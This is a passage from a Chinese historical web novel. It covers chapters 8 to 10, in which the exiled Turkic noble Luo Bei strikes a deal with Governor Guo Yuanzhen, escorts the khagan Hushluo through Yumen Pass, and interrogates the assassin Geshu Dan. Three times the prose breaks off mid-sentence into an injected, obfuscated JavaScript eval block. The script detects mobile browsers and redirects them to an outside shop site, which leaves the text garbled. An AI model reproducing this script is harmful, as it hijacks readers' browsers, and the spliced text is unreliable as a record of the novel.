“不,都督,你我商定的联络点是杏林药铺。杏林药铺的掌柜索行德索先生曾为突厥所掳,是我出金赎回的。他虽然年事已高,却有一片报国之心,我才让他为我效命。” 郭元振笑得越发灿烂,他凑近洛北,问道:“公子之前在突厥,却能与我传递消息,信件来往也从不受阻。想来公子手下,索行德这样的人不在少数。我可否知道他们的名字?” 这是在提条件了。郭元振以智计闻名天下,自然不会做赔本的买卖。要收留洛北这样的逃亡者,郭元振就要把这些实打实的人手收入麾下。 洛北摇了摇头:“恕我不能从命。” “哦?”郭元振微怒,一手摸上腰间刀柄,“你不怕我现在就杀了你?” 牢中气氛一时剑拔弩张,两人都不肯退让,锋芒相撞,几乎有如实质,就像电闪雷鸣。洛北轻轻一笑,仿佛觉得郭元振这句话很有意思似的: “郭都督,数月之前,我从突厥仓皇出逃,把自己投入沙暴之中时,并不知道自己是否能活着来到凉州。半月之前,在瓜州城外,面向突厥大军之时,我不知道来的突厥将领是旧友还是仇敌。刚刚,我被押到牢中来见都督时,我也不知道等着自己的是断头台还是一场宴席。我个人的性命何足惜?但这些人把身家性命托付给我。我绝不能辜负他们的信任。” 武周新建之后,李氏宗族、宰相大臣被杀者极多,这些人的家眷子嗣有的被杀,有的被流放,也有很多人流落到了突厥。他们为洛北所用,实在是再正常不过的事情了。 洛北把杯中酒一饮而尽,没有答郭元振的话。这已是不言而喻。 郭元振叹了口气,把那两封褚体文书重新折好,收回袖中:“那么公子以昔年反对女皇的罪臣褚遂良留下的褚体写作,倒也不让我感到奇怪了。公子——我能否知道你的来历和本名?” 8. 第 8 章 洛北早料到郭元振会有此一问:“在此之前,我可否问都督一个问题?” “公子请讲。” 洛北问:“胜州之战情况如何?” 郭元振上下打量他一番,只见他神情镇静一如往常,双眸灿如流金,似乎世间一切在他眼中都无所遁形。 郭元振忽而想起曾经听过的一个关于乌特特勤的传说: 乌特特勤的母亲是个阿史德家族的女巫。她以秘仪把自己献给了伟大的祆神。祆神怜悯她的儿子,于是赐给他一双看破一切的眼睛。 “公子是怎么知道胜州会发生战事的?” 按照解琬写信给他的时间,洛北那时候已经在前往凉州的马车上了。 洛北轻轻一笑:“突厥主将阙特勤是我的朋友。”他讲话一直语气平和,只有说到“朋友”二字时将尾音上扬,显出一点少年人的意气来。 郭元振若有所思地摸了摸下颌的胡须: “突厥主将阙特勤击溃六州胡后,大肆劫掠而去。女皇勃然大怒,命胜州都督王珗率五万人出战。两军在圣泉大战一番,我朝一败涂地。王珗也为突厥人所杀,他的副将成了突厥人的俘虏。” 洛北的神态不自觉地松弛下来,目光虚虚地盯着前方的一处,似乎在看一副并不存在的地图:“阙特勤不会收手的。他一定会带领大军前往我边关重镇盐州和夏州。” 郭元振给自己添上一杯酒:“既然公子对阙特勤的思维方式如此熟悉,我是否可以认为,你们关系匪浅,几乎可以称得上是……倾心相交的知己?” 洛北望着郭元振:“都督想说什么?” “阙特勤在突厥素有第一勇士的称呼。公子能与他倾心相交,应当也是一位与他身份相似的贵胄。巧合的是,日前默啜大汗的谋主乌特特勤葬身在黑沙暴中——他就和阙特勤并称突厥年轻一代中的文武双璧。” 洛北笑了笑:“都督太抬举我了。我只是默啜大汗的书记官,称不上什么谋主。” 郭元振已有三分醉意,闻言不禁捶桌大笑起来:“公子,你这话骗骗朝中那些不谙边事的大臣们还可以。想骗我郭元振,可没那么容易——” 他说着,站起身来,走到洛北旁边,一手拿着酒杯,一手拍了拍洛北的肩膀: “你熟悉突厥及阿史那家族诸般人事及典仪,通晓突厥、粟特、吐蕃等数国语言。这几年,默啜分封子侄、拓境西域、威服契丹……突厥崛起的每一件事,背后都有你的影子。你在突厥不说大权在握,也是举足轻重……我不明白,你为什么要暗中和我通信?” 洛北轻轻一笑,支起一腿,向后仰头望着他:“郭都督不是好奇我的来历吗?我确实是阿史那家族的子弟。但我和默啜大汗并非同宗。他是东突厥土门可汗的子孙,而我是土门可汗的弟弟西突厥室点密可汗的子孙。” 郭元振点了点头,他是知道这段历史的:土门可汗和室点密可汗是一对兄弟,带领突厥崛起,被突厥人视为突厥民族的两大祖先: 土门可汗的东征灭亡了昔日的草原雄主柔然,让突厥人成为了漠南漠北新的主人。 室点密可汗的西征让突厥人越过乌浒水,帮助突厥成为了世界性的帝国。 不过,也是从室点密可汗开始,突厥分裂成了东西突厥两个国家。这两个国家的统治者虽然同族同姓,却时常摩擦不断,甚至动过刀兵。 郭元振问:“自大唐灭西突厥以来,设立了兴昔亡可汗及继往绝可汗两个汗号统辖西突厥故地。两家素有仇怨,既然如今坐镇碎叶城的是继往绝可汗阿史那斛瑟罗……公子应当是兴昔亡可汗的族人吧?” 洛北惨然一笑:“我的父亲是右骁卫中郎将阿史那献,我的祖父就是第二代兴昔亡可汗阿史那元庆。” “竟然是这样……”郭元振闻言,不由得深深叹息一声。他对兴昔亡可汗家族血泪斑斑的家族史也有耳闻: 第一代兴昔亡可汗阿史那弥射曾经担任西突厥可汗,是太宗皇帝李世民的结义兄弟,他自归附大唐以来,替大唐东征西讨,定西域,平辽东,可谓是战功赫赫。 太宗皇帝让他担任兴昔亡可汗兼昆陵都护,执掌西突厥一半的土地和兵力。阿史那弥射也尽心尽力,将昆陵都护境内治理得政通人和,牛羊繁茂,引得周围部族纷纷前来投奔。 统领西突厥另一半土地和兵力的继往绝可汗阿史那步真见此情况,大为不满,竟然诬告阿史那弥射谋反,导致阿史那弥射被冤杀于阵前。 这桩冤案震动西域,为了安抚阿史那弥射的旧部,大唐不得不立了阿史那弥射的儿子阿史那元庆为第二代兴昔亡可汗。 阿史那元庆自幼生长在长安宫廷,对大唐忠心耿耿。他继任兴昔亡可汗之后,曾经率兵征讨吐蕃,立下战功。后来却因为卷入李武之争被酷吏来俊臣构陷谋反,惨死在了刑场上。 洛北的父亲阿史那献就是这位第二代兴昔亡可汗阿史那元庆的小儿子,当时他也随父亲一道获罪,被流放到了崖山。 至于洛北……郭元振思及此处,不免又看了一眼洛北:许是因为讲到家人,那张清俊的少年面容显得柔和不少—— 照这样推算,洛北出逃突厥的时候,左不过六七岁,是个不折不扣的孩子。十来年过去了,洛北已能在突厥国内呼风唤雨,割舍不下父子亲情,想要为自己的父亲做些事情,也可以理解: “公子一片孝心,令我佩服。我还有个问题,公子为什么要假死离开突厥?因为默啜想鸟尽弓藏?” 洛北笑了:“郭都督小看默啜了,他肯封我为乌特特勤,让我替他执掌文字,出谋划策,便不担心我会造反。他担心的是自己儿子阿史那匍俱的储君之位。” 郭元振立刻反应了过来,突厥复国之君颉利施可汗是默啜的哥哥。默啜是兄终弟及登上的大汗宝座,一直为突厥那些颉利施可汗的老臣不满。只是颉利施可汗的长子默矩年少,才暂时服从默啜的统治。 但如今,突厥年轻一辈中最出色的阙特勤是默矩的弟弟,颉利施可汗的儿子。与他并称的乌特特勤又是阙特勤的挚友——阿史那匍俱哪里是他们的对手? “但你和阙特勤交好并非一日。”郭元振问,“默啜为何突然发难,非要你死不可?” 洛北伸手在桌上轻轻一点:“这便要说到西域的战事了。当时突厥西侵,就是因为默啜想让自己的儿子积攒军功和声望。可突骑施异军突起,带着西域心向大周的部族守住了碎叶城。阿史那匍俱可不是突骑施首领乌质勒的对手。他手下的部族军队大部分都是西突厥人,所以突厥国内日渐有一股声音,希望我来统领西征之事。” 郭元振这下是都明白了:“默啜如果敢把阿史那匍俱换下来,便等于承认他在西域的行动是一场彻头彻尾的失败,突厥国内那些颉利施可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281630|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗的老臣,就会逼他废去阿史那匍俱的储君之位,另立新君。” 洛北点了点头,重新坐正身子,喝了半杯残酒:“所以他派阙特勤来杀我,不论我们谁活着回去,都要背上杀害挚友的罪名。只是机缘巧合,一场沙暴,让他的如意算盘落了空。” 郭元振见他言辞坦荡,神情磊落,说起夺人性命于无形的沙暴,依旧云淡风轻。心中突然闪过一丝伤感:月余之内,这少年人就在这茫茫边塞数次将自己的性命如黄沙一般轻轻抛掷,倘若他的父母知道,不知会作何感想? 但这几堪称软弱的情绪只浮现了那么一瞬,便被其他的情绪取代: “公子,我可否和你做个交易?” “交易?”洛北全然不知自己这流亡者还有做交易的资格。 “不错。但凡突厥降将,朝廷总要发往长安处置,或死或徙或封,但我爱惜你少年英才,不想早早把你扔进长安城的漩涡里。希望你能留在凉州,听我号令。” 洛北问:“郭都督的条件是什么?” 郭元振抚掌大笑:“闻弦歌而知雅意,公子是聪明人。第一个条件嘛,便是公子要放下阿史那子弟、突厥国重臣的身份,只做从并州来的郎中洛北。我会让你从小兵做起。” 这是为了保护洛北——阿史那献尚在流放之中,洛北贸然承认身份只会一起获罪。 洛北笑了笑:“突厥汗国的乌特特勤已经身殁大漠戈壁之中,都督面前这个人也只能是并州来的郎中洛北。” 郭元振抚掌一笑:“好,公子果然爽快,我还有一个条件。我可以不知道公子手下那些人的姓名与身份,但必要时,他们也要为我所用。” 这些代价在洛北可接受的范围内,他当即下跪抱拳道礼:“属下谢郭都督收留。愿为都督鞍前马后,不敢怠慢。” “起来吧,不要多礼,过几日,我会安排你以并州洛北的身份去凉州军营。”郭元振替他倒了一杯酒。两人酒樽相撞,各自满饮一杯。 洛北将杯中酒一饮而尽:“对了,郭都督,还有件事……你虽然答应放过我,但对于突厥降将,朝廷自有法度。解琬解御史那里,你打算如何交待?” 郭元振捏着杯子神秘一笑:“这个嘛,我自会劝说。” 半日之后,郭元振亲自到解琬的住处拜访。酒过三巡,菜过五味。郭元振便将洛北的身份一股脑倒了出来。 解琬身为御史,个性正直,对兴昔亡可汗家族的冤案也是颇为伤感——这些年酷吏肆虐,莫说是兴昔亡可汗,便是朝廷宰相、李氏宗嗣、武氏诸王……谁没被他们攀扯过? 何况洛北对他有救命之恩,他也不好眼睁睁地看着洛北回长安赴死:“既然如此,让他留在郭都督这里也没什么不好,只是,我在京中也听过阿史那献将军的事情,听说他精通骑射,喜欢田猎,经常外出游历各方。但我可没听说,他娶过哪家名门淑女……” 郭元振“嗯”了一声,给解琬讲了那个“祆神赐目”的传说:“这样的传说能传出来,确实是有原因的。不过你解御史既然要回京复命,不妨帮我打听打听,阿史那献有没有这么个母不详的孩子?” “吃了你一顿酒,多出来这许多事情。是,郭都督。”解琬起身打了个哈欠,“我领命了。不过阿史那献尚在流放,此事急不得,我会留意的。好了,你可还有其他吩咐,若是没有,我就要送客了!” 9. 第 9 章 一年之后,长安三年,玉门关外。 一支百余人的骑兵队伍正在茫茫戈壁上奔驰,飞沙走石,烟尘滚滚。这一行人速度虽快,却阵容齐整,可见训练有素。 为首的骑士远远望见玉门关的轮廓,高声以突厥语喊道:“可汗!可汗!玉门关到了。” 被骑兵护卫小心保护在队伍中央的正是唐廷所册封的西突厥继往绝可汗(阿史那)斛瑟罗。 他望见玉门雄关近在眼前,而不远处有河流如银带般淌过,又有小片树林,水草丰茂,正是个休息之处,大手一挥:“前面河边稍事休整,先遣队入关报信。” 那些护卫便各自下马,在林间铺起毯子、毡子,又埋锅造饭,很快便升起烟雾。 阿史那斛瑟罗自然不用做这些杂事,他脱下铠甲,品着护卫递来的一壶葡萄酒,只觉酒浆醇厚,满口生津:“这是从碎叶城里带出来的吧?” 护卫抱拳称是。斛瑟罗冷哼一声:“乌质勒那混账,原本只是我手下的一个莫贺达干,如今也在碎叶川称起可汗来了。哼,待我求得大周发兵相援,必叫他碎尸万段。” 他的一众护卫都不敢接话。本来,乌质勒的突骑施部确为斛瑟罗手下的部族,乌质勒也对斛瑟罗甚是恭敬。 可默啜之子阿史那匐俱西征时,斛瑟罗却抛下部族,仓皇失措地逃回了长安。 那时西域人心惶惶,正是乌质勒挺身而出,率领众部首领守住了碎叶一带。虽说后来斛瑟罗又受女皇命令回到碎叶城,这些首领又怎么会心服口服? 更不要说斛瑟罗手段酷烈,西突厥人面服心不服的大有人在。乌质勒也是顺应民意,才发兵将斛瑟罗逐出了碎叶城。 这些话护卫是绝不敢说的,不过斛瑟罗本也没有打算听他们回答什么。他喝完一袋酒浆,又走到自己的骏马旁边,给那马儿喂了些水和粮草。 突厥人以游牧行猎为生,视马如自己的心腹,阿史那斛瑟罗也不例外。 他正喂马,只见马的眼中似有光亮,当下一凛,低头往地上一滚,正躲过用了十成十力道的一刀。刀锋劈在马上,马儿一声哀鸣,缓缓地倒了下去, 持刀的青年身形高大,面阔颌方,披发胡服,大声喝道:“斛瑟罗!你还我父亲的命来!” 周遭护卫已经围了上来,那青年也带了一批人来,一时之间箭声兵戈声交错不断。 两个悍不畏死的突厥护卫上前拦住那青年左右,斛瑟罗才趁乱找了匹马儿,爬上马背便要逃走。 那青年见他要走,劈手夺了把长刀,将两刀并在手中,往腰间一横,一转扫倒几个上前阻挡的护卫,抢了一匹马向斛瑟罗追去。 斛瑟罗策马亡命狂奔,一路穿出树林,眼见河水涸波甚急,渡桥又在二里开外,心下实在绝望不已,抬头一望,近处烟尘滚滚,渡桥上杀出一队唐人骑兵,为首的小将身着铁甲,手执大弓,盔甲明如日光,一人一骑矫若游龙,冲在最前。 看到斛瑟罗,那小将高声喊道:“末将洛北,奉郭都督之命迎接继往绝可汗陛下入关!” 斛瑟罗猛然一鞭下去,那马儿嘶鸣一声,向前奔去。洛北策马将他护在身后,自己拈弓搭箭,向着追击而来的那群突厥人连放三箭。 三箭落在地上,恰如一条绊马索。那几人都是才抢了马来的,与马自然毫无默契,当下躲避不及,纷纷勒马止步,阵形就一乱。 “我奉大周凉州都督郭元振之命前来护送继往绝可汗陛下入关,投降者不杀,妄动者死!” 洛北话音未落,已有人摸起弓箭。他当即放出一箭,将那人射下马去。他率领的那队骑兵除几人护送斛瑟罗入关外,也都悉数赶到他身后,各个挽弓搭箭,严阵以待。 那群突厥人显然也懂汉话,眼见斛瑟罗已逃,又有援兵到来,纷纷勒住马头,想要放下武器。 但那为首的突厥青年却不肯善罢甘休,又提长刀向洛北刺来。洛北反应更快,弓弦一响,又是三箭齐发,那青年堪堪躲过当头的两箭,却被剩下的一箭射中右臂,手上一松,长刀险些坠地,他忍痛弯腰去捡,抬起头来时,洛北已将长刀架在他的脖颈上。 “我说了,妄动者死。”洛北冷冷地道,这话他是以突厥语说的,“放下武器的不杀!” 咣当一声,先是有人将手中武器扔在地上。然后便是一阵噼里啪啦的声音。洛北示意部下一一收走他们的兵器,又叫赶上来的护卫骑兵将他们一一绑起来。那为首的突厥青年眼见大势已去,横颈要往洛北刀刃上撞。 洛北眼疾手快,一掌劈在他后颈处。才叫人把他绑起来。 郭元振亲自守在玉门关的关城上,眼见斛瑟罗已经前来,忙令士兵打开城门。斛瑟罗入得城来,喜不自胜,一把握住郭元振的手道:“多亏郭都督援兵及时,否则我今死矣。” 郭元振连道:“不敢当,不敢当。”他把斛瑟罗让到主座,又整理衣冠,对他道了个礼,才坐到斛瑟罗下首的椅子上:“可汗一路实在辛苦。卑职略备水酒,今晚为可汗接风洗尘,可汗请放心,您既入了玉门关,卑职自会全力保证您的安全。” 他二人说话之间,洛北已带着人将一众人犯通通押到。斛瑟罗的一众亲卫也各自回到城内。郭元振叫人把那为首的突厥青年泼醒,押到斛瑟罗座下。 斛瑟罗定睛打量一番,认出此人是自己手下的哥舒部首领之子,冷笑一声: “哥舒亶,你父亲私通默啜,罪无可恕,我处死他,是为了安定人心。我只恨当时没能连你一起杀了,造成今日之祸!”他提高声音,“左右护卫,给我把此人拉下去以鞭刑处死,拿细细的鞭子抽!” 郭元振哪能让他在自己的地盘上这样肆意处决人犯,当下笑道:“可汗风尘仆仆,未及安定下来,便又动刀光,实在不吉。此人敢在我大周境内作乱,背后一定有人指使,洛北,你把他押下去,定要把幕后主使审出来!” 洛北当即抱拳道:“属下遵命。”便押着哥舒亶和一众人犯退了下去。 人已经押走了,斛瑟罗也不便再发作。郭元振又道:“玉门关迥孤,只有军队驻扎,没什么可停留的,可汗陛下不如随我移驾瓜州城,那里有商旅常来常往,居民也多,我已在城中最大的酒楼里摆下宴席,请可汗陛下务必赏光。” 斛瑟罗这一路风餐露宿,确实也想念城市繁华,当下也不再想着哥舒亶的事情,带着一众护卫,浩浩荡荡地往瓜州城中去。 待到最后一个骑士扬起的烟尘也看不到了,在囚室中的洛北才重新把目光投回哥舒亶身上。 哥舒亶已经被他晾了半天,早就忍不住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281631|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他脱口而出一串不太纯熟的汉话:“我的父亲没有罪,我没有幕后主使,你可以现在就杀了我。” 洛北点了点头:“我知道。”他以一个颇为闲适靠在哥舒亶面前的桌上,依旧盯着哥舒亶。 哥舒亶瞪大了眼睛,全然不知道他这句话是什么意思?是知道他的父亲没有里通默啜?还是有自己身后没有幕后主使?还是……他把目光投向洛北腰间的唐刀——这位小将军随时可以斩下自己的人头? 许是觉得囚室内的沉默够久了,洛北改用突厥语说:“我对你说的这些不感兴趣,我更感兴趣的是另外一个问题。你们部族是几年前随阿史那斛瑟罗东迁,被朝廷安置在河西的那批突厥人?” 哥舒亶也改用自己的母语与他对话:“是,当时默啜之子阿史那匐俱西征,突骑施崛起,西域已没了我等的容身之地。我父亲带着部族随斛瑟罗东迁。我父亲一贯尊敬斛瑟罗。后来大周女皇把斛瑟罗派回碎叶城,我父亲也跟随斛瑟罗一道回到西域,为他效力。没想到,他一片忠心,竟落得身首异处的下场!” 他说着不禁哽咽。这铁打的汉子把头一低,落下泪来。 洛北脸上是一片不为所动的平静神色:“我想你应该想过。斛瑟罗是女皇的亲信,如果你真的杀了他,武周肯定容不下你和你的部族了,碎叶城的突骑施恐怕也不会允许你们去而复返,你打算带着你的部族去哪?” 哥舒亶没想到眼前这位汉人小将军会先问他这个问题,但他也确实深思熟虑过此事:“我会带着部族去投奔室点密可汗的子孙,兴昔亡可汗家族的乌特特勤!” 他脱口而出后,才意识到乌特特勤是默啜的下属,他这句话几乎是坐实了自己这支部族“里通默啜”的罪名。他正要辩解什么,却看到洛北脸上似笑非笑的神情,当即一股被算计的羞辱涌上心头:“狡猾的汉人!你笑什么?” “我只是觉得这很有意思。”洛北略歪了歪头,敛住笑意:“我有两个消息要告诉你。其一,你要投奔的乌特特勤早在去年就身没于黑沙暴中,尸骨无存。” 哥舒亶瞪大眼睛,一脸不可置信。 “这不是什么机密消息,你只要随便找个往来行商的粟特人都能知道。当时和他同行的还有默啜的侄子阙特勤,那支骑队只有阙特勤一个人活着逃了出去。” 哥舒亶低下头去,声音有些沉痛:“我没想到。当时他带着部族从吐蕃归来,成为乌特特勤时,我们都很高兴。族中的萨满说,这是伟大的乌迈女神降福于室点密大汗的子孙,谁能想到……” 洛北没给他太多伤感的时间:“其二,朝廷已经下旨召回在崖山流放的兴昔亡可汗家族的阿史那献,他会成为第三代兴昔亡可汗。” 这话里的深意哥舒亶听出来了,他抬起眼睛看洛北:“我不懂你们汉人的那些弯弯绕,将军有话不妨直说。” “我只说事实,判断要你自己来下。”洛北将双手交抱在胸前,“我要说的话是,复仇确实重要,但人生除了复仇之外,还有很多事情值得你去做。” 哥舒亶苦笑一声:“将军,我谋刺斛瑟罗罪无可恕,还谈什么以后。”他深深地叹息一声,“我突厥男儿素以战死疆场为荣。将军刚刚就该一刀把我杀了,好过死在刑场,还能保住我这些族人部下的性命。” 10. 第 10 章 深夜时分,郭元振才从应酬中脱身出来。 瓜州城中热闹非凡,他走到城头,丝竹欢笑连带一身脂粉气都散开去,只听得一声一声横笛穿过夜空,染得这边疆关城越发寂冷凄清。 郭元振走过去,正看到洛北换了一身月白色的便装,正站在城头上吹玉横笛。他不禁问道:“这是什么曲子?” 洛北见到他来,躬身对他道礼:“大帅,这是《敕勒歌》。” “当年斛律金为高欢唱的那首《敕勒歌》?”郭元振上下打量了一番洛北,见他神色平静,一如往常,才玩笑道:“‘敕勒川,阴山下,天似穹庐盖四野,天苍苍,野茫茫,风吹草低见牛羊’,你这是想家了啊?” 洛北轻轻一笑,避而不答:“大帅,哥舒亶我审完了。他此行专为报父仇,并无人指使。” “他家三代忠于我朝,当年武威军总管,大将军王孝杰复开西域时,他的父亲便在军中效力。”郭元振摇了摇头,“谁知如今搞成了这个样子。关于哥舒亶的处置,你有什么建议?” “大帅,兴昔亡一脉与继往绝一脉素来不睦。属下还是不要发表意见的好。” 郭元振知道他这句话的言外之意:“你想替他求情?” “属下不敢。” “不敢就是想了。”郭元振轻轻一笑,转而问道:“斛瑟罗的护卫伤亡如何?” “有一人身死当场,两人重伤不治,另有五六人轻伤。” “咱们的人呢?” “有个倒霉兄弟拉弓的时候拉伤了手臂。其余无事。” 郭元振瞪了他一眼:“你小子倒是反应快,出手准,也不怕队伍里的人说你抢了他们邀功请赏的机会?” “斛瑟罗此人虽然手段酷烈,赏赐却还算大方。”洛北回答,“属下想着,大不了把自己那份分给他们便是了。” “你轻放哥舒亶一马,还想从斛瑟罗那里请赏?”郭元振笑道,“我不被他参一本都算这一晚大酒没有白喝了。” “属下不敢让大帅无端受过。”洛北自腰间抽出一本条陈,“关于此事始末,我已具成一文,大帅如果觉得没问题,可以照此与继往绝可汗回报,再上奏给朝廷。” 此刻天光微亮,郭元振便寻了个地方坐下,借着城楼上守夜的火把光读完了这本条陈。读完之后不由大笑一声:“这法子只怕也只有你想得出,罢了,今日午后,你同我一道去见阿史那斛瑟罗。” 午后时分,郭元振带着洛北入驿馆求见斛瑟罗。斛瑟罗只道刚刚起身,叫他们在花厅稍候。他们俩在花厅坐下,一坐就是半个多时辰。 斛瑟罗姗姗来迟,一边走一边系身上的官服:“郭都督久等了。都督真是当世豪杰,昨晚这一顿大酒,晕得我刚刚才清醒些。凉州的酒不错,只是比起碎叶城的酒还是差远啦。” 他这话里话外的意思是想请大周发兵助他回碎叶城,郭元振只佯作不知:“既然可汗喜欢,那卑职给您装些带回长安,也是卑职孝敬可汗的一片心意。” “如此甚好,如此甚好。”斛瑟罗有些微怒,转眼瞥到洛北面色冷肃地坐在一边,也不肯客套:“郭都督,这是?” “这是我的裨将洛北,”郭元振开口引见,“昨日奉命审理哥舒亶一案,如今有些线索,还想请可汗陛下一个示下。” 斛瑟罗点了点头。洛北便低声以汉话禀报道:“小人昨日将那贼人的党羽分开讯问,拷打之下,终于有人供认曾有突骑施乌质勒的近臣康孝哲的手下出入过部族之中,小人派人搜了他们的东西,确有几件粟特及突骑施的物品。” “竟是这厮!”斛瑟罗一拍椅子,“我就知道,哥舒亶今年才二十五六岁,他哪来的胆子来行刺于我。原来是背后有人挑拨。哼,这些粟特人素来刁滑,这个康孝哲更是其中翘楚。” 他说着说着,看到郭元振正一脸茫然地看着他,“郭都督没听过这个人的名字?” 郭元振赔礼道:“卑职供职凉州,还不曾了解过突骑施的情况。” 斛瑟罗说:“这个康孝哲是石国人,他少时行商,后来大食侵扰昭武九姓,他就携家带口地投奔了乌质勒。他手下还有商队,常往来于中原行商,也曾求我派人护卫。我不同意,他便心有不服,屡屡顶撞于我。他倒是和哥舒亶的父亲关系不错,缘由我也不太清楚。” 洛北忙给他补充道:“是,正如可汗陛下所说,康孝哲手下的商队屡屡往来中原与西域之间,这些人需要护卫同行。哥舒亶的父亲便是这样与他熟络起来的。后来哥舒亶之父通敌叛国,为可汗陛下所诛杀,他便联络哥舒亶,要行刺可汗陛下。” 斛瑟罗点了点头:“这样一听,不是已经真相大白了吗?你又有什么事情值得来问我?” “请可汗陛下见谅,虽然此事已经分明,可这哥舒亶就是不招啊。”洛北道,“他倒是肯承认他与康孝哲有所来往,却咬死行刺之事无人指使。他的一干族人部下也是听命行事,和康孝哲没有来往。” 斛瑟罗冷哼一声:“物证人证俱在,他也敢抵赖!教我说,当时就应该打死了他,哪还有今日这许多事情。”他拍了拍椅子,“郭都督以为呢?” 郭元振道:“既然可汗陛下如此说,卑职自然以此上奏结案。”他看了一眼左右,洛北忙道礼退了出去。郭元振才说:“卑职还有些额外的话要说。” 斛瑟罗令左右都退下:“什么事情搞得这么神秘?” “那小子还搜到几封信,是京中的左玉钤卫翊府右郎将哥舒道元写来的,言辞中倒是很关照。”郭元振把袖中的信呈上, “我听说,当时在王孝杰军中时,哥舒亶之父颇为照料哥舒道元,所以哥舒道元投桃报李,对哥舒亶也是关照有加。” “哥舒道元按辈分算是哥舒亶的堂叔,照料些也是应该的。”斛瑟罗说到此处,忽而一顿,“哥舒道元如今还在京中?” “是。他有军功在身,圣上甚是信任。”郭元振佯装犹疑一番,最后还是问道:“以卑职之见,这个哥舒亶是不是不杀的好?” “这是什么话?”斛瑟罗皱眉道,“我就地正法了他,便是哥舒道元,能奈我何?” 郭元振忙端一杯茶水递给斛瑟罗:“可汗且消消气,您想,您这次回长安,与一众西突厥归降的贵胄难免有来往,您要是在这儿杀了哥舒亶,到时候见面尴尬不说,哥舒道元若是心中记恨,在圣上面前毁谤于您……这,难免会惹出不少麻烦。” 斛瑟罗略一皱眉:“那你的意思是?” 郭元振道,“不如就交给京中,叫三法司处理好了。国家法度在此,哥舒道元也不敢说什么。” “倒是便宜他了。”斛瑟罗道,“罢了,且看长远吧,我就按照你说的上奏。” “是。”郭元振低头称是,将要退出去,斛瑟罗又把他叫住了:“你刚刚那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281632|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个属下的名字,是叫洛北吗?” 郭元振不提防他突然问起这个:“是,可汗陛下有什么见教?” “哦,我是觉得这个名字很耳熟,倒好像在哪里听过似的。”斛瑟罗道。 郭元振心下一凛,斛瑟罗按照辈分算是洛北的同族祖父。虽然继往绝与兴昔亡两家素来不和,但说不定斛瑟罗听过这孩子的名字。 他不欲洛北暴露身份,替他分辩道:“这小子原是并州的一个郎中,一年前由当时还是御史的北庭都护解琬推荐到了军中。他的名字何时入了可汗的耳?” “这我哪记得,许是多年前听过,现在什么都想不起来了。”斛瑟罗揉了揉脑袋,“我是想说,他也算是救了我的性命,我这里有些东西,你代我赏给他吧。” “那卑职就代这小子谢过了。” 郭元振离开馆驿,走出好大一截儿,才在街边的茶馆里找到了正在喝茶的洛北,他一拍洛北的肩膀,把他叫了起来:“在这儿躲清闲?” “不敢。大帅和斛瑟罗谈得怎么样?”洛北问。 郭元振笑了笑:“继往绝可汗会将你我的结论上奏朝廷,顺便把哥舒亶交给三法司处置。我也会再上一封奏折,就说这个哥舒亶颇为配合,建议从轻处置发往赤水军充军。对了,斛瑟罗还赏了些东西给你。” 洛北点了点头:“这样属下对队伍里的兄弟也算有交代了。” 郭元振知道他还记着自己说他抢功的事情,不禁一笑,转开话题去:“这次你的功劳很大,不仅斛瑟罗要赏,我也会上书为你表功。” “大帅,这次纯粹是运气好,称不上什么功劳,要是默啜在这,必让人把人犯带上来,与属下当面对质。”洛北摇了摇头,“那事情就复杂了,若要叫人信服,哥舒亶得吃不少苦头。” “哦,这么说,你已经说服哥舒亶那头倔驴陪你一道演戏了?不对,这小子看上去不像个会做戏的,要是斛瑟罗真的召他来和你对质,你怎么办?” “大帅。哥舒亶是个硬汉,属下没能说服他向斛瑟罗低头。不过,属下一般也不会和人犯串通,只是在问话的方式上做文章罢了。” 洛北道,“比如哥舒亶这个案子。哥舒亶当然不能承认自己是受人指使,但他总会承认与康孝哲有些来往。” 郭元振点了点头:“我明白了,因为有你禀报在先,又在问题里重重诱导,哪怕人犯最后不肯承认,斛瑟罗也会先入为主,认为他在抵赖。这便是‘疑人窃斧’的道理。” “是,属下这点微末伎俩在大帅面前不值一提。”洛北笑道,“不过,这是个极为冒险的法子,不可多用。” 洛北说这句话是为了辩解自己从未在郭元振手下用这个手段。郭元振自然听得出来,他一边佩服洛北行事谨慎,一边哈哈大笑: “你把斛瑟罗想得简单了。你想,若是此事在朝中被闹大,斛瑟罗丢失碎叶城的罪过便会被一而再、再而三地放到台面上来。要是有心人借此机会,参他一个凌虐部族,弃城而逃的罪名……” 洛北颔首:“所以斛瑟罗才想在凉州把此事处置了,最好有个幕后主使,将一切推到此人身上。” 